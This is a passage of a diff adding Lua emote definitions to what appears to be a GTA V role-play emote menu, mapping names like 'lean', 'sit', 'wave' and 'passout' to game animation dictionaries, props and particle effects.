+ "anim@mp_player_intcelebrationfemale@knuckle_crunch",
+ "knuckle_crunch",
+ "Knuckle Crunch",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["lean2"] = {
+ "amb@world_human_leaning@female@wall@back@hand_up@idle_a",
+ "idle_a",
+ "Lean 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lean3"] = {
+ "amb@world_human_leaning@female@wall@back@holding_elbow@idle_a",
+ "idle_a",
+ "Lean 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lean4"] = {
+ "amb@world_human_leaning@male@wall@back@foot_up@idle_a",
+ "idle_a",
+ "Lean 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lean5"] = {
+ "amb@world_human_leaning@male@wall@back@hands_together@idle_b",
+ "idle_e",
+ "Lean 5",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["leanflirt"] = {
+ "random@street_race",
+ "_car_a_flirt_girl",
+ "Lean Flirt",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["leanbar2"] = {
+ "amb@prop_human_bum_shopping_cart@male@idle_a",
+ "idle_c",
+ "Lean Bar 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["leanbar3"] = {
+ "anim@amb@nightclub@lazlow@ig1_vip@",
+ "clubvip_base_laz",
+ "Lean Bar 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["leanbar4"] = {
+ "anim@heists@prison_heist",
+ "ped_b_loop_a",
+ "Lean Bar 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["leanhigh"] = {
+ "anim@mp_ferris_wheel",
+ "idle_a_player_one",
+ "Lean High",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["leanhigh2"] = {
+ "anim@mp_ferris_wheel",
+ "idle_a_player_two",
+ "Lean High 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["leanside"] = {
+ "timetable@mime@01_gc",
+ "idle_a",
+ "Leanside",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["leanside2"] = {
+ "misscarstealfinale",
+ "packer_idle_1_trevor",
+ "Leanside 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["leanside3"] = {
+ "misscarstealfinalecar_5_ig_1",
+ "waitloop_lamar",
+ "Leanside 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["leanside4"] = {
+ "misscarstealfinalecar_5_ig_1",
+ "waitloop_lamar",
+ "Leanside 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["leanside5"] = {
+ "rcmjosh2",
+ "josh_2_intp1_base",
+ "Leanside 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["leanplan"] = {
+ "anim@amb@board_room@diagram_blueprints@",
+ "idle_01_amy_skater_01",
+ "Lean On Table",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 200,
+ ExitEmote = "offtable",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["me"] = {
+ "gestures@f@standing@casual",
+ "gesture_me_hard",
+ "Me",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1000
+ }
+ },
+ ["mechanic"] = {
+ "mini@repair",
+ "fixing_a_ped",
+ "Mechanic",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["mechanic2"] = {
+ "mini@repair",
+ "fixing_a_player",
+ "Mechanic 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["mechanic3"] = {
+ "amb@world_human_vehicle_mechanic@male@base",
+ "base",
+ "Mechanic 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["mechanic4"] = {
+ "anim@amb@clubhouse@tutorial@bkr_tut_ig3@",
+ "machinic_loop_mechandplayer",
+ "Mechanic 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["mechanic5"] = {
+ "amb@prop_human_movie_bulb@idle_a",
+ "idle_b",
+ "Mechanic 5",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["medic2"] = {
+ "amb@medic@standing@tendtodead@base",
+ "base",
+ "Medic 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["meditate"] = {
+ "rcmcollect_paperleadinout@",
+ "meditiate_idle",
+ "Meditate",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 300,
+ ExitEmote = "standup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["meditate2"] = {
+ "rcmepsilonism3",
+ "ep_3_rcm_marnie_meditating",
+ "Meditate 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 300,
+ ExitEmote = "standup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["meditate3"] = {
+ "rcmepsilonism3",
+ "base_loop",
+ "Meditate 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 300,
+ ExitEmote = "standup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["metal"] = {
+ "anim@mp_player_intincarrockstd@ps@",
+ "idle_a",
+ "Metal",
+ AnimationOptions = {
+ -- CHANGE ME
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["no"] = {
+ "anim@heists@ornate_bank@chat_manager",
+ "fail",
+ "No",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 4000
+ }
+ },
+ ["no2"] = {
+ "mp_player_int_upper_nod",
+ "mp_player_int_nod_no",
+ "No 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1000
+ }
+ },
+ ["nosepick"] = {
+ "anim@mp_player_intcelebrationfemale@nose_pick",
+ "nose_pick",
+ "Nose Pick",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["noway"] = {
+ "gestures@m@standing@casual",
+ "gesture_no_way",
+ "No Way",
+ AnimationOptions = {
+ EmoteDuration = 1500,
+ EmoteMoving = true
+ }
+ },
+ ["ok"] = {
+ "anim@mp_player_intselfiedock",
+ "idle_a",
+ "OK",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["dock"] = {
+ "anim@mp_player_intincardockstd@rds@",
+ "idle_a",
+ "Dock",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["outofbreath"] = {
+ "re@construction",
+ "out_of_breath",
+ "Out of Breath",
+ },
+ ["pickup"] = {
+ "random@domestic",
+ "pickup_low",
+ "Pickup"
+ },
+ ["push"] = {
+ "missfinale_c2ig_11",
+ "pushcar_offcliff_f",
+ "Push",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["push2"] = {
+ "missfinale_c2ig_11",
+ "pushcar_offcliff_m",
+ "Push 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["point"] = {
+ "gestures@f@standing@casual",
+ "gesture_point",
+ "Point",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pushup"] = {
+ "amb@world_human_push_ups@male@idle_a",
+ "idle_d",
+ "Pushup",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["countdown"] = {
+ "random@street_race",
+ "grid_girl_race_start",
+ "Countdown",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pointright"] = {
+ "mp_gun_shop_tut",
+ "indicate_right",
+ "Point Right",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["salute"] = {
+ "anim@mp_player_intincarsalutestd@ds@",
+ "idle_a",
+ "Salute",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["salute2"] = {
+ "anim@mp_player_intincarsalutestd@ps@",
+ "idle_a",
+ "Salute 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["salute3"] = {
+ "anim@mp_player_intuppersalute",
+ "idle_a",
+ "Salute 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["scared"] = {
+ "random@domestic",
+ "f_distressed_loop",
+ "Scared",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["scared2"] = {
+ "random@homelandsecurity",
+ "knees_loop_girl",
+ "Scared 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["screwyou"] = {
+ "misscommon@response",
+ "screw_you",
+ "Screw You",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["shakeoff"] = {
+ "move_m@_idles@shake_off",
+ "shakeoff_1",
+ "Shake Off",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 3500
+ }
+ },
+ ["shot"] = {
+ "random@dealgonewrong",
+ "idle_a",
+ "Shot",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sleep"] = {
+ "timetable@tracy@sleep@",
+ "base",
+ "Sleep",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bumsleep"] = {
+ "amb@world_human_bum_slumped@male@laying_on_left_side@idle_a",
+ "idle_b",
+ "Bum Sleep",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["shrug"] = {
+ "gestures@f@standing@casual",
+ "gesture_shrug_hard",
+ "Shrug",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1000
+ }
+ },
+ ["shrug2"] = {
+ "gestures@m@standing@casual",
+ "gesture_shrug_hard",
+ "Shrug 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1000
+ }
+ },
+ ["sit"] = {
+ "anim@amb@business@bgen@bgen_no_work@",
+ "sit_phone_phoneputdown_idle_nowork",
+ "Sit",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sit2"] = {
+ "rcm_barry3",
+ "barry_3_sit_loop",
+ "Sit 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sit3"] = {
+ "amb@lo_res_idles@",
+ "world_human_picnic_male_lo_res_base",
+ "Sit 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sit4"] = {
+ "amb@lo_res_idles@",
+ "world_human_picnic_female_lo_res_base",
+ "Sit 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sit5"] = {
+ "anim@heists@fleeca_bank@ig_7_jetski_owner",
+ "owner_idle",
+ "Sit 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sit6"] = {
+ "timetable@jimmy@mics3_ig_15@",
+ "idle_a_jimmy",
+ "Sit 6",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sit7"] = {
+ "anim@amb@nightclub@lazlow@lo_alone@",
+ "lowalone_base_laz",
+ "Sit 7",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 900,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sit8"] = {
+ "timetable@jimmy@mics3_ig_15@",
+ "mics3_15_base_jimmy",
+ "Sit 8",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sit9"] = {
+ "amb@world_human_stupor@male@idle_a",
+ "idle_a",
+ "Sit 9",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitfu"] = {
+ "chocoholic@single80",
+ "single80_clip",
+ "Sit Middle Finger",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["elbow"] = {
+ "anim@veh@lowrider@std@ds@arm@base",
+ "sit_low_lowdoor",
+ "Window Elbow",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["elbow2"] = { -- Custom Emote By Chocoholic Animations
+ "chocoholic@single47",
+ "single47_clip",
+ "Window Elbow 2",
+ AnimationOptions = {
+ onlyInVehicle = true,
+ EmoteLoop = true
+ }
+ },
+ ["sitlean"] = {
+ "timetable@tracy@ig_14@",
+ "ig_14_base_tracy",
+ "Sit Lean",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitsad"] = {
+ "anim@amb@business@bgen@bgen_no_work@",
+ "sit_phone_phoneputdown_sleeping-noworkfemale",
+ "Sit Sad",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitsad2"] = {
+ "anim@female_sit_01",
+ "f_sit_01_clip",
+ "Sit Sad 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitscared"] = {
+ "anim@heists@ornate_bank@hostages@hit",
+ "hit_loop_ped_b",
+ "Sit Scared",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitscared2"] = {
+ "anim@heists@ornate_bank@hostages@ped_c@",
+ "flinch_loop",
+ "Sit Scared 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitscared3"] = {
+ "anim@heists@ornate_bank@hostages@ped_e@",
+ "flinch_loop",
+ "Sit Scared 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitdrunk"] = {
+ "timetable@amanda@drunk@base",
+ "base",
+ "Sit Drunk",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitchair"] = {
+ "timetable@ron@ig_3_couch",
+ "base",
+ "Sit Chair",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "offchair",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitchair2"] = {
+ "timetable@ron@ig_5_p3",
+ "ig_5_p3_base",
+ "Sit Chair 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "offchair",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitchair3"] = {
+ "timetable@reunited@ig_10",
+ "base_amanda",
+ "Sit Chair 3 (Female)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "offchair",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitchair4"] = {
+ "timetable@ron@ron_ig_2_alt1",
+ "ig_2_alt1_base",
+ "Sit Chair 4 - Side",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "offchair",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitchair5"] = {
+ "timetable@jimmy@mics3_ig_15@",
+ "mics3_15_base_tracy",
+ "Sit Chair Legs Crossed",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "offchair",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitchair6"] = {
+ "timetable@maid@couch@",
+ "base",
+ "Sit Chair Lean Back",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "offchair",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitcute"] = { -- Custom Emote By QueenSistersAnimations
+ "sitkylie@queensisters",
+ "kylie_clip",
+ "Sit Cute",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "offchair",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["situp"] = {
+ "amb@world_human_sit_ups@male@idle_a",
+ "idle_a",
+ "Sit Up",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["smokengun"] = {
+ "smokingweapon@animation",
+ "smokingweapon_clip",
+ "Sitting Smoke & Gun",
+ AnimationOptions = {
+ Prop = "ng_proc_cigarette01a",
+ PropBone = 4185,
+ PropPlacement = {
+ 0.0300,
+ 0.0000,
+ 0.0200,
+ 1.7096,
+ -43.1362,
+ -27.9428
+ },
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits",
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ -0.07,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ['smokendrink'] = { --- Custom Emote By Darks Animations
+ "drx@male_smoke",
+ "male_smoke",
+ "Smoke And Whiskey",
+ AnimationOptions = {
+ Prop = 'prop_drink_whisky',
+ PropBone = 26612,
+ PropPlacement = {
+ 0.0500,
+ -0.0700,
+ -0.0500,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ SecondProp = 'ng_proc_cigarette01a',
+ SecondPropBone = 64113,
+ SecondPropPlacement = {
+ 0.0270,
+ 0.0080,
+ 0.0050,
+ -11.6920,
+ -78.3079,
+ 7.9470
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ -0.07,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["clapangry"] = {
+ "anim@arena@celeb@flat@solo@no_props@",
+ "angry_clap_a_player_a",
+ "Clap Angry",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["slowclap3"] = {
+ "anim@mp_player_intupperslow_clap",
+ "idle_a",
+ "Slow Clap 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["clap"] = {
+ "amb@world_human_cheering@male_a",
+ "base",
+ "Clap",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["slowclap"] = {
+ "anim@mp_player_intcelebrationfemale@slow_clap",
+ "slow_clap",
+ "Slow Clap",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["slowclap2"] = {
+ "anim@mp_player_intcelebrationmale@slow_clap",
+ "slow_clap",
+ "Slow Clap 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["smell"] = {
+ "move_p_m_two_idles@generic",
+ "fidget_sniff_fingers",
+ "Smell",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["stickup"] = {
+ "random@countryside_gang_fight",
+ "biker_02_stickup_loop",
+ "Stick Up",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["stumble"] = {
+ "misscarsteal4@actor",
+ "stumble",
+ "Stumble",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["stunned"] = {
+ "stungun@standing",
+ "damage",
+ "Stunned",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["sunbathe"] = {
+ "amb@world_human_sunbathe@male@back@base",
+ "base",
+ "Sunbathe - Hand On Head",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ NotInVehicle = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sunbathe2"] = {
+ "amb@world_human_sunbathe@female@back@base",
+ "base",
+ "Sunbathe 2 - Hand Over Face",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ NotInVehicle = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sunbathe3"] = {
+ "amb@world_human_sunbathe@female@front@base",
+ "base",
+ "Sunbathe 3 - Lay On Stomach",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ NotInVehicle = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["tpose"] = {
+ "missfam5_yoga",
+ "a2_pose",
+ "T Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tpose2"] = {
+ "mp_sleep",
+ "bind_pose_180",
+ "T Pose 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["think5"] = {
+ "mp_cp_welcome_tutthink",
+ "b_think",
+ "Think 5",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 2000
+ }
+ },
+ ["think"] = {
+ "misscarsteal4@aliens",
+ "rehearsal_base_idle_director",
+ "Think",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["think3"] = {
+ "timetable@tracy@ig_8@base",
+ "base",
+ "Think 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["think2"] = {
+ "missheist_jewelleadinout",
+ "jh_int_outro_loop_a",
+ "Think 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["thumbsup3"] = {
+ "anim@mp_player_intincarthumbs_uplow@ds@",
+ "enter",
+ "Thumbs Up 3",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 3000
+ }
+ },
+ ["thumbsup2"] = {
+ "anim@mp_player_intselfiethumbs_up",
+ "idle_a",
+ "Thumbs Up 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["thumbsup"] = {
+ "anim@mp_player_intupperthumbs_up",
+ "idle_a",
+ "Thumbs Up",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["type"] = {
+ "anim@heists@prison_heiststation@cop_reactions",
+ "cop_b_idle",
+ "Type",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["type2"] = {
+ "anim@heists@prison_heistig1_p1_guard_checks_bus",
+ "loop",
+ "Type 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["type3"] = {
+ "mp_prison_break",
+ "hack_loop",
+ "Type 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["type4"] = {
+ "mp_fbi_heist",
+ "loop",
+ "Type 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["warmth"] = {
+ "amb@world_human_stand_fire@male@idle_a",
+ "idle_a",
+ "Warmth",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wave4"] = {
+ "random@mugging5",
+ "001445_01_gangintimidation_1_female_idle_b",
+ "Wave 4",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 3000
+ }
+ },
+ ["wave2"] = {
+ "anim@mp_player_intcelebrationfemale@wave",
+ "wave",
+ "Wave 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wave3"] = {
+ "friends@fra@ig_1",
+ "over_here_idle_a",
+ "Wave 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wave"] = {
+ "friends@frj@ig_1",
+ "wave_a",
+ "Wave",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wave5"] = {
+ "friends@frj@ig_1",
+ "wave_b",
+ "Wave 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wave6"] = {
+ "friends@frj@ig_1",
+ "wave_c",
+ "Wave 6",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wave7"] = {
+ "friends@frj@ig_1",
+ "wave_d",
+ "Wave 7",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wave8"] = {
+ "friends@frj@ig_1",
+ "wave_e",
+ "Wave 8",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wave9"] = {
+ "gestures@m@standing@casual",
+ "gesture_hello",
+ "Wave 9",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["whistle"] = {
+ "taxi_hail",
+ "hail_taxi",
+ "Whistle",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1300
+ }
+ },
+ ["whistle2"] = {
+ "rcmnigel1c",
+ "hailing_whistle_waive_a",
+ "Whistle 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 2000
+ }
+ },
+ ["yeah"] = {
+ "anim@mp_player_intupperair_shagging",
+ "idle_a",
+ "Yeah",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["lift"] = {
+ "random@hitch_lift",
+ "idle_f",
+ "Lift",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["lol"] = {
+ "anim@arena@celeb@flat@paired@no_props@",
+ "laugh_a_player_b",
+ "LOL",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lol2"] = {
+ "anim@arena@celeb@flat@solo@no_props@",
+ "giggle_a_player_b",
+ "LOL 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["statue2"] = {
+ "fra_0_int-1",
+ "cs_lamardavis_dual-1",
+ "Statue 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["statue3"] = {
+ "club_intro2-0",
+ "csb_englishdave_dual-0",
+ "Statue 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["gangsign"] = {
+ "mp_player_int_uppergang_sign_a",
+ "mp_player_int_gang_sign_a",
+ "Gang Sign",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["gangsign2"] = {
+ "mp_player_int_uppergang_sign_b",
+ "mp_player_int_gang_sign_b",
+ "Gang Sign 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["gangsign3"] = {
+ "amb@code_human_in_car_mp_actions@gang_sign_b@low@ps@base",
+ "idle_a",
+ "Gang Sign 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["gangsign4"] = {
+ "amb@code_human_in_car_mp_actions@v_sign@std@rds@base",
+ "idle_a",
+ "Gang Sign 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["passout"] = {
+ "missarmenian2",
+ "drunk_loop",
+ "Passout",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 900,
+ NotInVehicle = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["passout2"] = {
+ "missarmenian2",
+ "corpse_search_exit_ped",
+ "Passout 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 900,
+ NotInVehicle = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["passout3"] = {
+ "anim@gangops@morgue@table@",
+ "body_search",
+ "Passout 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 900,
+ NotInVehicle = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["passout4"] = {
+ "mini@cpr@char_b@cpr_def",
+ "cpr_pumpchest_idle",
+ "Passout 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 900,
+ NotInVehicle = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["passout5"] = {
+ "random@mugging4",
+ "flee_backward_loop_shopkeeper",
+ "Passout 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 900,
+ NotInVehicle = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["petting"] = {
+ "creatures@rottweiler@tricks@",
+ "petting_franklin",
+ "Petting",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["crawl"] = {
+ "move_injured_ground",
+ "front_loop",
+ "Crawl",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
